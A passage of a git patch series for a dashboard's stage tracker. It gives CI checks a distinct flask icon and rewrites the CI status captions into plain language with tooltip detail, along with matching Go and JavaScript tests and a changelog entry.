the two adjacent chevrons are no longer identical ([#16472](https://github.com/hivecommons/hive/issues/16472)). diff --git a/src/pkg/dashboard/stage_tracker_activity.test.js b/src/pkg/dashboard/stage_tracker_activity.test.js index d06a2f773f..9c5f364872 100644 --- a/src/pkg/dashboard/stage_tracker_activity.test.js +++ b/src/pkg/dashboard/stage_tracker_activity.test.js @@ -568,7 +568,7 @@ test('unknown tracks show only the canonical column glyph, preserving full focus }); const rendered = track(item, kind, { state: 'active' }, false, now); const content = rendered.match(/aria-describedby="[^"]+">([^]*?)<span id="[^"]+" class="config-tooltip/)[1]; - assert.match(content, /<svg [^]*data-icon="50"/); + assert.match(content, kind === 'ci' ? /<svg [^]*data-icon="ci"/ : /<svg [^]*data-icon="50"/, 'CI and Review wear distinct glyphs'); assert.equal(content.replace(/<[^>]*>/g, '').trim(), '', 'no CI/Review/unknown/reason/question-mark panel text'); assert.match(content, /aria-label="Open current-head/); assert.match(rendered, /class="ham-chevron-info config-info" tabindex="0"/); diff --git a/src/pkg/dashboard/static-src/js/tracker-row-strip.js b/src/pkg/dashboard/static-src/js/tracker-row-strip.js index faca32da4b..0f1f6242e9 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-strip.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-strip.js @@ -58,7 +58,7 @@ (codeNote || contextWord ? ' Β· ' + (codeNote || contextWord) : '') + (hold ? ' Β· ' + (hold.pill || 'Held by @' + hold.by) + (hold.reason ? ' Β· ' + hold.reason : '') : ''); const tipID = 'ham-track-tip-' + [item.repo || '', item.kind || '', item.number || 0, kind].map(x => encodeURIComponent(String(x))).join('-'); - const icon = stageTrackerIcon(50, 'ham-ico', name); + const icon = stageTrackerIcon(kind === 'ci' ? 'ci' : 50, 'ham-ico', name); const content = known ? `<span class="ham-chevron-copy ham-track-state">${evidenceLink}</span>` : icon; const linkedIcon = !known && ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${icon}</a>` : content; return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${linkedIcon}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; diff --git a/src/pkg/dashboard/static-src/js/tracker-row.js b/src/pkg/dashboard/static-src/js/tracker-row.js index 5ec30c2c51..44dbbe90f8 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row.js +++ b/src/pkg/dashboard/static-src/js/tracker-row.js @@ -109,7 +109,11 @@ 20: '<rect x="3" y="7" width="10" height="7" rx="1"/><path d="M5 7V5a3 3 0 0 1 6 0v2"/>', 30: '<circle cx="4" cy="3" r="1.5"/><circle cx="4" cy="13" r="1.5"/><circle cx="12" cy="5" r="1.5"/><path d="M4 4.5v7M12 6.5c0 3-8 1-8 4"/>', 40: '<circle cx="4" cy="3" r="1.5"/><circle cx="4" cy="13" r="1.5"/><circle cx="12" cy="12" r="1.5"/><path d="M4 4.5v7M4 6c0 3 6 2 6.5 5"/>', + // Column 50 splits into two tracks: CI wears a flask (checks run, no + // verdict implied), Review keeps the eye. The eye alone on both read + // as one duplicated glyph (operator, 2026-11-03). 50: '<path d="M1 8s2.5-5 7-5 7 5 7 5-2.5 5-7 5-7-5-7-5z"/><circle cx="8" cy="8" r="2"/>', + ci: '<path d="M5.5 1.5h5M6.5 1.5v4.6L2.6 12.9a1 1 0 0 0 .9 1.6h9a1 1 0 0 0 .9-1.6L9.5 6.1V1.5"/><path d="M4.4 10.5h7.2"/>', // Merge queue: the same railcar as the column header and train chip // (STAGE_TRACKER_TRAIN_ICON_PATH in tracker-words.js; a test keeps them equal). 80: '<rect x="2" y="3.5" width="12" height="7" rx="1.5"/><path d="M2 7.5h12M6.5 3.5v4M10.5 3.5v4M4 13.5l-1.5 1.5M12 13.5l1.5 1.5"/><circle cx="5" cy="12.5" r="1.5"/><circle cx="11" cy="12.5" r="1.5"/>', diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index fe8727cac5..29c84cc534 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -17516,7 +17516,11 @@ <h3 class="faq-group-title">Where to get help</h3> 20: '<rect x="3" y="7" width="10" height="7" rx="1"/><path d="M5 7V5a3 3 0 0 1 6 0v2"/>', 30: '<circle cx="4" cy="3" r="1.5"/><circle cx="4" cy="13" r="1.5"/><circle cx="12" cy="5" r="1.5"/><path d="M4 4.5v7M12 6.5c0 3-8 1-8 4"/>', 40: '<circle cx="4" cy="3" r="1.5"/><circle cx="4" cy="13" r="1.5"/><circle cx="12" cy="12" r="1.5"/><path d="M4 4.5v7M4 6c0 3 6 2 6.5 5"/>', + // Column 50 splits into two tracks: CI wears a flask (checks run, no + // verdict implied), Review keeps the eye. The eye alone on both read + // as one duplicated glyph (operator, 2026-11-03). 50: '<path d="M1 8s2.5-5 7-5 7 5 7 5-2.5 5-7 5-7-5-7-5z"/><circle cx="8" cy="8" r="2"/>', + ci: '<path d="M5.5 1.5h5M6.5 1.5v4.6L2.6 12.9a1 1 0 0 0 .9 1.6h9a1 1 0 0 0 .9-1.6L9.5 6.1V1.5"/><path d="M4.4 10.5h7.2"/>', // Merge queue: the same railcar as the column header and train chip // (STAGE_TRACKER_TRAIN_ICON_PATH in tracker-words.js; a test keeps them equal). 80: '<rect x="2" y="3.5" width="12" height="7" rx="1.5"/><path d="M2 7.5h12M6.5 3.5v4M10.5 3.5v4M4 13.5l-1.5 1.5M12 13.5l1.5 1.5"/><circle cx="5" cy="12.5" r="1.5"/><circle cx="11" cy="12.5" r="1.5"/>', @@ -17809,7 +17813,7 @@ <h3 class="faq-group-title">Where to get help</h3> (codeNote || contextWord ? ' Β· ' + (codeNote || contextWord) : '') + (hold ? ' Β· ' + (hold.pill || 'Held by @' + hold.by) + (hold.reason ? ' Β· ' + hold.reason : '') : ''); const tipID = 'ham-track-tip-' + [item.repo || '', item.kind || '', item.number || 0, kind].map(x => encodeURIComponent(String(x))).join('-'); - const icon = stageTrackerIcon(50, 'ham-ico', name); + const icon = stageTrackerIcon(kind === 'ci' ? 'ci' : 50, 'ham-ico', name); const content = known ? `<span class="ham-chevron-copy ham-track-state">${evidenceLink}</span>` : icon; const linkedIcon = !known && ownsPR && evidenceURL ? `<a href="${esc(evidenceURL)}" target="_blank" rel="noopener noreferrer" aria-label="${esc('Open current-head ' + name + ' evidence')}">${icon}</a>` : content; return `<li class="ham-seg ham-activity-track ${cls}${current ? ' ham-current' : ''}" data-track="${kind}" data-route-state="${esc(routeState)}" data-activity-state="${esc(state)}" data-display-state="${known ? 'known' : 'unknown'}"${current ? ' aria-current="step"' : ''}${active ? ' data-motion="active"' : ''}${ownsPR ? ` title="${esc(fullTip)}"` : ''} aria-label="${esc(fullTip)}"><span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${linkedIcon}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}${decided ? `<span class="ham-track-context">${decided}</span>` : ''}</span></span></li>`; From 887d4291312fc78dff95ef601af7430f8a3a834a Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 19:09:30 -0500 Subject: [PATCH 20/87] =?UTF-8?q?=F0=9F=90=9B=20dashboard:=20plain-languag?= =?UTF-8?q?e=20CI=20track=20captions=20with=20tooltip=20detail=20(#16480)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit "CI waiting Β· test not observed" meant nothing to an operator: it was the internal state plus the raw required-check name. Rewrite every CI caption in stage_tracker_activity.go so it says what the state means (which required check, whether it reported, how many are done) and add a Detail field carrying a longer plain-language sentence that the strip appends to the chevron tooltip. Reword the fix-task CI-wait and CI-retry code-activity captions the same way. Fixes #16479 Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- changelog.d/fixed-16479-ci-track-captions.md | 1 + src/pkg/dashboard/stage_tracker_activity.go | 69 +++++++++++++++---- .../dashboard/stage_tracker_activity.test.js | 44 +++++++----- .../dashboard/stage_tracker_activity_test.go | 43 ++++++++++++ src/pkg/dashboard/stage_tracker_build.go | 2 +- .../static-src/js/tracker-row-strip.js | 5 +- src/pkg/dashboard/static/index.html | 5 +- 7 files changed, 134 insertions(+), 35 deletions(-) create mode 100644 changelog.d/fixed-16479-ci-track-captions.md diff --git a/changelog.d/fixed-16479-ci-track-captions.md b/changelog.d/fixed-16479-ci-track-captions.md new file mode 100644 index 0000000000..09fdd46858 --- /dev/null +++ b/changelog.d/fixed-16479-ci-track-captions.md @@ -0,0 +1 @@ +- Activity Monitor CI track captions now explain themselves in plain language β€” `CI waiting Β· required check "test" hasn't reported for this head yet`, `CI running Β· 3/5 checks done`, `CI failing Β· "lint" red`, `CI green Β· all 3 required checks passed` β€” and each carries a longer explanation in the chevron tooltip via a new `detail` field; the fix-task CI-wait and CI-retry captions were reworded the same way ([#16479](https://github.com/hivecommons/hive/issues/16479)). diff --git a/src/pkg/dashboard/stage_tracker_activity.go b/src/pkg/dashboard/stage_tracker_activity.go index 02e7999267..42a840c41a 100644 --- a/src/pkg/dashboard/stage_tracker_activity.go +++ b/src/pkg/dashboard/stage_tracker_activity.go @@ -1,6 +1,7 @@ package dashboard import ( + "fmt" "slices" "strings" "time" @@ -15,9 +16,13 @@ import ( // native stage and next mover. Worker activity requires assignment AND worker; // CI activity comes only from observed required checks. type StageTrackerActivity struct { - Head string `json:"head"` - State string `json:"state"` - Caption string `json:"caption"` + Head string `json:"head"` + State string `json:"state"` + Caption string `json:"caption"` + // Detail is the longer, plain-language sentence behind Caption: what + // the state means and what would move it. The chevron clamps Caption; + // the tooltip carries Detail in full. + Detail string `json:"detail,omitempty"` Actor string `json:"actor,omitempty"` Source string `json:"source"` ObservedAt *time.Time `json:"observed_at,omitempty"` @@ -34,7 +39,8 @@ func trackerUnknownActivity(head, caption string) *StageTrackerActivity { } func stageTrackerCIActivity(pr github.PullRequest, now time.Time) *StageTrackerActivity { - out := trackerUnknownActivity(pr.HeadSHA, "CI unknown Β· required checks not observed") + out := trackerUnknownActivity(pr.HeadSHA, "CI unknown Β· no check results observed for this head yet") + out.Detail = "hive has not yet seen which checks branch protection requires, or any check run or commit status for the PR's current commit." a := pr.CIActivity if a == nil || pr.HeadSHA == "" || !strings.EqualFold(a.Head, pr.HeadSHA) { return out @@ -84,8 +90,13 @@ func stageTrackerCIActivity(pr github.PullRequest, now time.Time) *StageTrackerA return out } } - out.State, out.Caption = "passing", "CI passed" + out.State, out.Caption = "passing", "CI green" running := false + // Per required-check name: which have a final result, for the running count. + settled := map[string]bool{} + for _, name := range a.Required { + settled[name] = true + } for _, observation := range observations { name := observation.name check := github.PRActivityCheck{} @@ -116,6 +127,9 @@ func stageTrackerCIActivity(pr github.PullRequest, now time.Time) *StageTrackerA state = "failing" } } + if state != "passing" && state != "failing" && state != "skipped" { + settled[name] = false + } // A red required check leads, then missing/unknown, then running/queued. rank := map[string]int{"passing": 0, "queued": 1, "running": 2, "skipped": 3, "unknown": 4, "missing": 5, "failing": 6} if rank[state] >= rank[out.State] { @@ -129,26 +143,49 @@ func stageTrackerCIActivity(pr github.PullRequest, now time.Time) *StageTrackerA } } } - if out.State == "passing" && a.NeedsCommitStatusEvidence() && !a.StatusesKnown { + statusesMissing := out.State == "passing" && a.NeedsCommitStatusEvidence() && !a.StatusesKnown + if statusesMissing { out.State, out.Blocker = "unknown", "commit statuses not observed" } + done := 0 + for _, name := range a.Required { + if settled[name] { + done++ + } + } + total := len(a.Required) + check := fmt.Sprintf("%q", out.Blocker) switch out.State { + case "passing": + out.Caption = "CI green Β· all " + plural(total, "required check") + " passed" + out.Detail = "Every check that branch protection requires has reported success for the PR's current commit." case "failing": - out.Caption = "CI failing Β· " + out.Blocker + out.Caption = "CI failing Β· " + check + " red" + out.Detail = "Required check " + check + " finished without success (failed, timed out, was cancelled, or needs action) on the PR's current commit. A fix or a re-run has to turn it green before CI can pass." case "running": - out.Caption = "CI running" + out.Caption = fmt.Sprintf("CI running Β· %d/%d checks done", done, total) + out.Detail = fmt.Sprintf("%d of the %s have a final result; the rest are still executing on the PR's current commit.", done, plural(total, "required check")) case "queued": - out.Caption = "CI queued" + out.Caption = "CI queued Β· " + check + " waiting for a runner" + out.Detail = "Required check " + check + " has been requested for the PR's current commit but has not started executing yet." case "missing": - out.Caption = "CI waiting Β· " + out.Blocker + " not observed" + out.Caption = "CI waiting Β· required check " + check + " hasn't reported for this head yet" + out.Detail = "Branch protection requires a check named " + check + ", but no check run or commit status with that name exists for the PR's current commit. Usually the workflow that produces it has not been triggered; a push, re-run, or label can start it." case "unknown": - out.Caption = "CI unknown Β· " + out.Blocker + if statusesMissing { + out.Caption = "CI unknown Β· commit statuses not observed for this head" + out.Detail = "A required check is reported as a commit status rather than a check run, and hive has not yet fetched commit statuses for the PR's current commit." + } else { + out.Caption = "CI unknown Β· " + check + " reported but with no conclusion" + out.Detail = "Required check " + check + " exists for the PR's current commit but hive cannot read a clear result from it (several runs share the name, or the run ended with no conclusion)." + } case "skipped": - out.Caption = "CI skipped Β· " + out.Blocker + out.Caption = "CI skipped Β· check " + check + " skipped" + out.Detail = "Required check " + check + " finished as skipped or neutral on the PR's current commit, which branch protection does not count as a pass." } out.Active = running && a.ObservedAt != nil && !a.ObservedAt.After(now) && now.Sub(*a.ObservedAt) <= trackerActivityFreshWindow if running && out.State != "running" { - out.Caption += " Β· others running" + out.Caption += " Β· other checks still running" } return out } @@ -429,7 +466,8 @@ func stageTrackerApplyCodeActivity(it *StageTrackerItem, dispatch review.Dispatc if err != nil || at.Before(fix.Dispatched) || at.After(now) || now.Sub(at) > trackerActivityFreshWindow { continue } - out.State, out.Caption = "waiting_ci", "Fix task waiting on CI Β· not observed coding" + out.State, out.Caption = "waiting_ci", "Fix task idle Β· agent waiting for CI before coding" + out.Detail = "The assigned fix agent is holding until CI reports on the PR's current commit; no code edits have been observed yet." out.Source, out.ObservedAt = "fix-dispatch+current-worker-ci-wait", &at if it.Stage != trackerNumberNeedsAuthor && it.Stage != trackerNumberReturned && it.Stage != trackerNumberAdopted { it.DisplayColumn = trackerNumberReviewPending @@ -454,7 +492,8 @@ func stageTrackerApplyCodeActivity(it *StageTrackerItem, dispatch review.Dispatc out = &StageTrackerActivity{Head: it.Head, State: "pushed", Caption: "New head pushed Β· CI and re-review", Source: "recorded-push", Since: it.Push.Since} if it.Push.State == pushStateChecking { - out.State, out.Caption, out.Source = "waiting_ci", "CI retry Β· no new head observed", "recorded-ci-retry" + out.State, out.Caption, out.Source = "waiting_ci", "CI retry requested Β· no new commit pushed yet", "recorded-ci-retry" + out.Detail = "A CI re-run was requested on the PR's current commit; the PR head has not changed, so the tracker waits for the re-run's result." } } } diff --git a/src/pkg/dashboard/stage_tracker_activity.test.js b/src/pkg/dashboard/stage_tracker_activity.test.js index 9c5f364872..3c54e831bf 100644 --- a/src/pkg/dashboard/stage_tracker_activity.test.js +++ b/src/pkg/dashboard/stage_tracker_activity.test.js @@ -39,7 +39,7 @@ test('header has visibly separate aligned CI and Review columns without serial s }); test('both tracks can be active on one PR and preserve their actual actors and sources', () => { - const item = { kind: 'pr', head: 'head', ci_activity: activity('running', 'CI running', true), review_activity: activity('reviewing', 'Review working Β· reviewer', true) }; + const item = { kind: 'pr', head: 'head', ci_activity: activity('running', 'CI running Β· 1/2 checks done', true), review_activity: activity('reviewing', 'Review working Β· reviewer', true) }; const html = ['ci', 'review'].map(kind => track(item, kind, {}, false, now)).join(''); assert.equal((html.match(/data-motion="active"/g) || []).length, 2); assert.match(html, /data-track="ci"/); @@ -50,10 +50,10 @@ test('both tracks can be active on one PR and preserve their actual actors and s }); test('CI green/review findings and review approved/CI red remain independent', () => { - const item = { head: 'head', ci_activity: activity('passing', 'CI passed'), review_activity: activity('changes_requested', 'Review findings Β· awaiting author') }; + const item = { head: 'head', ci_activity: activity('passing', 'CI green Β· all 2 required checks passed'), review_activity: activity('changes_requested', 'Review findings Β· awaiting author') }; assert.match(track(item, 'ci', {}, false, now), /ham-activity-track done/); assert.match(track(item, 'review', {}, false, now), /data-activity-state="changes_requested"/); - item.ci_activity = activity('failing', 'CI failing Β· build'); + item.ci_activity = activity('failing', 'CI failing Β· "build" red'); item.review_activity = activity('approved', 'Review approved'); assert.match(track(item, 'ci', {}, false, now), /data-activity-state="failing"/); assert.match(track(item, 'review', {}, false, now), /ham-activity-track done/); @@ -90,7 +90,7 @@ test('repair display projection returns to PR progress then current-head tracks; test('linked PRs carry independent evidence and hidden issue columns stay aligned', () => { const layout = fs.readFileSync(path.join(root, 'tracker-row-layout.js'), 'utf8'); const linked = new Function('stageTrackerLinkedPROpen', 'STAGE_TRACKER_TERMINAL', fn(layout, 'stageTrackerLinkedPRItem') + ';return stageTrackerLinkedPRItem;')(() => true, 110); - const lp = { number: 7, head: 'head', stage: 70, display_column: 30, ci_activity: activity('running', 'CI running', true), review_activity: activity('reviewing', 'Review working Β· reviewer', true), code_activity: activity('fixing', 'Fixing Β· fixer', true) }; + const lp = { number: 7, head: 'head', stage: 70, display_column: 30, ci_activity: activity('running', 'CI running Β· 1/2 checks done', true), review_activity: activity('reviewing', 'Review working Β· reviewer', true), code_activity: activity('fixing', 'Fixing Β· fixer', true) }; const item = linked({ repo: 'org/repo', number: 1, linked_prs: [lp, { number: 8 }] }, lp); assert.equal(item.number, 7); assert.equal(item.display_column, 30); @@ -448,7 +448,7 @@ test('browser probes require a dedicated preview and cannot count offscreen head }); test('Hotshot #344 shape: queued CI and approved review retain current phase without pretending work runs', () => { - const item = livePR({ stage: 60, ci_activity: activity('queued', 'CI queued'), review_activity: activity('approved', 'Review approved') }); + const item = livePR({ stage: 60, ci_activity: activity('queued', 'CI queued Β· "build" waiting for a runner'), review_activity: activity('approved', 'Review approved') }); const before = JSON.stringify(item); const cells = physicalTracks(item); assert.match(cells.ci, /ham-activity-track todo ham-current/); @@ -465,7 +465,7 @@ test('Hive #16434 shape: missing current-head CI and review stay unknown but vis const cells = physicalTracks(livePR({ display_column: 50, code_activity: { head: 'head', state: 'pushed', caption: 'New head pushed Β· CI and re-review', source: 'recorded-push' }, - ci_activity: { head: 'head', state: 'unknown', caption: 'CI unknown Β· required checks not observed', source: 'unavailable' }, + ci_activity: { head: 'head', state: 'unknown', caption: 'CI unknown Β· no check results observed for this head yet', source: 'unavailable' }, review_activity: { head: 'head', state: 'unknown', caption: 'Review unknown Β· current-head evidence unavailable', source: 'unavailable' }, })); for (const cell of [cells.ci, cells.review]) { @@ -481,7 +481,7 @@ test('Hive #16268 shape: held native Fixing waits for a fixer in the CI/Review p const item = livePR({ stage: 70, modifiers: ['hold'], hold: { by: 'hanthor', reason: 'Maintainer hold' }, display_column: 50, code_activity: { head: 'head', state: 'waiting_fixer', caption: 'Waiting for fixer Β· no code work observed', source: 'native-fix-request' }, - ci_activity: activity('missing', 'CI waiting Β· test not observed'), + ci_activity: activity('missing', 'CI waiting Β· required check "test" hasn\'t reported for this head yet'), review_activity: activity('approved', 'Review approved'), }); const cells = physicalTracks(item); @@ -496,24 +496,24 @@ test('Hive #16268 shape: held native Fixing waits for a fixer in the CI/Review p test('current phase, running activity, failure and successful completion are independent dimensions', () => { for (const [state, caption, running, cls] of [ - ['failing', 'CI failing Β· build', false, 'todo'], - ['running', 'CI running', true, 'active'], - ['passing', 'CI passed', false, 'done'], - ['skipped', 'CI skipped Β· build', false, 'todo'], + ['failing', 'CI failing Β· "build" red', false, 'todo'], + ['running', 'CI running Β· 1/2 checks done', true, 'active'], + ['passing', 'CI green Β· all 2 required checks passed', false, 'done'], + ['skipped', 'CI skipped Β· check "build" skipped', false, 'todo'], ]) { const cells = physicalTracks(livePR({ ci_activity: activity(state, caption, running) })); assert.ok(cells.ci.includes('ham-activity-track ' + cls + ' ham-current')); assert.equal(cells.ci.includes('data-motion="active"'), running); assert.match(cells.review, /todo ham-current[^]*data-activity-state="unknown"/); } - const admitted = physicalTracks(livePR({ stage: 80, ci_activity: activity('passing', 'CI passed'), review_activity: activity('approved', 'Review approved') })); + const admitted = physicalTracks(livePR({ stage: 80, ci_activity: activity('passing', 'CI green Β· all 2 required checks passed'), review_activity: activity('approved', 'Review approved') })); assert.doesNotMatch(admitted.ci + admitted.review, /ham-current|aria-current/); assert.match(admitted.cells[6], /aria-current="step"/, 'merge gate keeps its own current position'); }); test('old-head or stale observations cannot fabricate running/completion, but do not erase current position', () => { for (const mode of ['old-head', 'stale', 'missing-time']) { - const ci = activity('running', 'CI running', true); + const ci = activity('running', 'CI running Β· 1/2 checks done', true); const review = activity('approved', 'Review approved'); for (const observation of [ci, review]) { if (mode === 'old-head') observation.head = 'old-head'; @@ -616,7 +616,7 @@ function stageTrackerIcon(n, cls) { return '<svg class="' + cls + '"></svg>'; } ` + anchor + fn(row, 'stageTrackerSegments') + fn(strip, 'stageTrackerActivityTrackHtml') + fn(strip, 'stageTrackerStripItems'); const render = new Function('esc', definitions + ';return stageTrackerStripItems;')(esc); const item = { kind: 'pr', stage: 70, head: 'head', display_column: 30, - ci_activity: activity('running', 'CI running', true), + ci_activity: activity('running', 'CI running Β· 1/2 checks done', true), review_activity: activity('reviewing', 'Review working Β· reviewer', true), code_activity: activity('fixing', 'Fixing Β· fixer', true), }; @@ -648,7 +648,7 @@ test('stale activity is visibly unknown and old green observations cannot look l }); test('current-head evidence links are accessible and never retained across a new head', () => { - const item = { kind: 'pr', head: 'head', ci_activity: {...activity('failing', 'CI failing Β· build'), url: 'https://github.com/org/repo/actions/runs/1'} }; + const item = { kind: 'pr', head: 'head', ci_activity: {...activity('failing', 'CI failing Β· "build" red'), url: 'https://github.com/org/repo/actions/runs/1'} }; assert.match(track(item, 'ci', {state: 'active'}, false, now), /aria-label="Open current-head CI evidence"/); assert.match(track(item, 'ci', {state: 'active'}, false, now), /aria-current="step"/); item.head = 'new-head'; @@ -661,8 +661,8 @@ test('a fix request or CI-only wait is visible without manufacturing source work const waiting = track(item, 'review', {state:'active'}, false, now); assert.match(waiting, /role="tooltip">[^]*Waiting for fixer/); assert.doesNotMatch(waiting, /data-motion/); - item.code_activity = activity('waiting_ci', 'Fix task waiting on CI Β· not observed coding'); - assert.match(track(item, 'ci', {}, false, now), /waiting on CI Β· not observed coding/); + item.code_activity = activity('waiting_ci', 'Fix task idle Β· agent waiting for CI before coding'); + assert.match(track(item, 'ci', {}, false, now), /Fix task idle Β· agent waiting for CI before coding/); assert.equal(getAnchor(70, stages, 'pr', item), 50); }); @@ -685,3 +685,13 @@ test('linked movement uses current-head repair evidence while native sort stays const pushed = map(items, stages); assert.deepEqual(moves(fixed, pushed), {'issue#1':{from:3,to:4}, 'pr#7':{from:3,to:4}}); }); + +test('the backend detail sentence rides in the track tooltip, not on the chevron', () => { + const detail = 'Branch protection requires a check named "test", but no check run or commit status with that name exists for the PR\'s current commit.'; + const item = livePR({ ci_activity: { ...activity('missing', 'CI waiting Β· required check "test" hasn\'t reported for this head yet'), detail } }); + const html = track(item, 'ci', { state: 'active' }, false, now); + const panel = html.match(/aria-describedby="[^"]+">([^]*?)<span id="[^"]+" class="config-tooltip/)[1]; + assert.ok(!panel.includes('Branch protection'), 'the chevron shows only the compact word'); + assert.match(html, /role="tooltip">[^]*hasn't reported for this head yet Β· Branch protection requires a check named "test"/); + assert.match(html, /title="[^"]*Branch protection requires a check named "test", but no check run/); +}); diff --git a/src/pkg/dashboard/stage_tracker_activity_test.go b/src/pkg/dashboard/stage_tracker_activity_test.go index e974ea9284..2af5e05e28 100644 --- a/src/pkg/dashboard/stage_tracker_activity_test.go +++ b/src/pkg/dashboard/stage_tracker_activity_test.go @@ -2,6 +2,7 @@ package dashboard import ( "os/exec" + "strings" "testing" "time" @@ -331,3 +332,45 @@ func TestStageTrackerActivitySelectsObservedReviewer(t *testing.T) { t.Fatalf("adjudication was described as an independent reviewer: %+v", got) } } + +func TestStageTrackerActivityCICaptionsReadInPlainLanguage(t *testing.T) { + now := time.Date(2026, 11, 3, 23, 0, 0, 0, time.UTC) + pr, _, _ := trackerActivityFixture(now) + ci := func(checks ...github.PRActivityCheck) github.PullRequest { + pr.CIActivity = &github.PRCIActivity{Head: pr.HeadSHA, Source: "github-check-runs", ObservedAt: &now, StatusesKnown: true, + RequiredSource: "protection", RequiredChecks: []github.PRRequiredCheck{{Name: "build", AppKnown: true}, {Name: "lint", AppKnown: true}, {Name: "test", AppKnown: true}}, + RequiredKnown: true, Required: []string{"build", "lint", "test"}, Checks: checks} + return pr + } + chk := func(name, state, conclusion string) github.PRActivityCheck { + return github.PRActivityCheck{Name: name, State: state, Conclusion: conclusion} + } + done := func(name string) github.PRActivityCheck { return chk(name, "completed", "success") } + cases := []struct { + name string + pr github.PullRequest + state, want string + detailMention string + }{ + {"missing", ci(done("build"), done("lint")), "missing", `CI waiting Β· required check "test" hasn't reported for this head yet`, `check named "test"`}, + {"running counts", ci(done("build"), chk("lint", "in_progress", ""), chk("test", "in_progress", "")), "running", "CI running Β· 1/3 checks done", "1 of the 3 required checks"}, + {"queued", ci(done("build"), done("lint"), chk("test", "queued", "")), "queued", `CI queued Β· "test" waiting for a runner`, "not started"}, + {"failing", ci(done("build"), chk("lint", "completed", "failure"), done("test")), "failing", `CI failing Β· "lint" red`, `"lint" finished without success`}, + {"skipped", ci(done("build"), done("lint"), chk("test", "completed", "skipped")), "skipped", `CI skipped Β· check "test" skipped`, "does not count as a pass"}, + {"ambiguous", ci(done("build"), done("lint"), done("test"), chk("test", "completed", "failure")), "unknown", `CI unknown Β· "test" reported but with no conclusion`, "several runs share the name"}, + {"green", ci(done("build"), done("lint"), done("test")), "passing", "CI green Β· all 3 required checks passed", "reported success"}, + } + for _, tc := range cases { + got := stageTrackerCIActivity(tc.pr, now) + if got.State != tc.state || got.Caption != tc.want || !strings.Contains(got.Detail, tc.detailMention) { + t.Fatalf("%s: want %s %q (detail mentioning %q), got %+v", tc.name, tc.state, tc.want, tc.detailMention, got) + } + } + mixed := ci(done("build"), chk("lint", "completed", "failure"), chk("test", "in_progress", "")) + if got := stageTrackerCIActivity(mixed, now); got.Caption != `CI failing Β· "lint" red Β· other checks still running` { + t.Fatalf("mixed red+running caption: %+v", got) + } + if got := stageTrackerCIActivity(github.PullRequest{Repo: pr.Repo, Number: pr.Number, HeadSHA: pr.HeadSHA}, now); got.Caption != "CI unknown Β· no check results observed for this head yet" || got.Detail == "" { + t.Fatalf("no-evidence caption: %+v", got) + } +} diff --git a/src/pkg/dashboard/stage_tracker_build.go b/src/pkg/dashboard/stage_tracker_build.go index b6036a550b..a354c6fb80 100644 --- a/src/pkg/dashboard/stage_tracker_build.go +++ b/src/pkg/dashboard/stage_tracker_build.go @@ -524,7 +524,7 @@ func (s *Server) buildStageTracker(status *StatusPayload, store *stagelabels.Sto // A push projection can advance the head ahead of the cached PR list. // Never leave old-head approval/check verdicts on the projected item. if it.CIActivity == nil || !strings.EqualFold(it.CIActivity.Head, it.Head) { - it.CIActivity = trackerUnknownActivity(it.Head, "CI unknown Β· current-head checks not observed") + it.CIActivity = trackerUnknownActivity(it.Head, "CI unknown Β· no check results observed for this head yet") } if it.ReviewActivity == nil || !strings.EqualFold(it.ReviewActivity.Head, it.Head) { currentPR := github.PullRequest{Repo: activityItem.Repo, Number: it.Number, HeadSHA: it.Head, Author: it.Author} diff --git a/src/pkg/dashboard/static-src/js/tracker-row-strip.js b/src/pkg/dashboard/static-src/js/tracker-row-strip.js index 0f1f6242e9..f5793609ff 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-strip.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-strip.js @@ -37,7 +37,10 @@ const freshness = !Number.isFinite(observed) ? 'observation time unknown' : (stale ? 'stale Β· ' : 'observed Β· ') + new Date(observed).toISOString(); const since = matches && a.since && Number.isFinite(Date.parse(a.since)) ? ' Β· since ' + new Date(a.since).toISOString() : ''; const blocker = matches && a.blocker ? ' Β· ' + a.blocker : ''; - let tip = caption + blocker + ' Β· head ' + (item.head || 'unknown') + ' Β· ' + source + ' Β· ' + freshness + since; + // The backend's plain-language sentence behind the caption rides in + // the tooltip only; the chevron clamps the caption. + const detail = matches && a.detail ? ' Β· ' + a.detail : ''; + let tip = caption + blocker + detail + ' Β· head ' + (item.head || 'unknown') + ' Β· ' + source + ' Β· ' + freshness + since; const ownsPR = item.kind === 'pr' || item.via_pr; const code = item.code_activity; const codeNote = code && code.head === item.head && Number(item.display_column) === 50 && diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 29c84cc534..46e302a2f5 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -17792,7 +17792,10 @@ <h3 class="faq-group-title">Where to get help</h3> const freshness = !Number.isFinite(observed) ? 'observation time unknown' : (stale ? 'stale Β· ' : 'observed Β· ') + new Date(observed).toISOString(); const since = matches && a.since && Number.isFinite(Date.parse(a.since)) ? ' Β· since ' + new Date(a.since).toISOString() : ''; const blocker = matches && a.blocker ? ' Β· ' + a.blocker : ''; - let tip = caption + blocker + ' Β· head 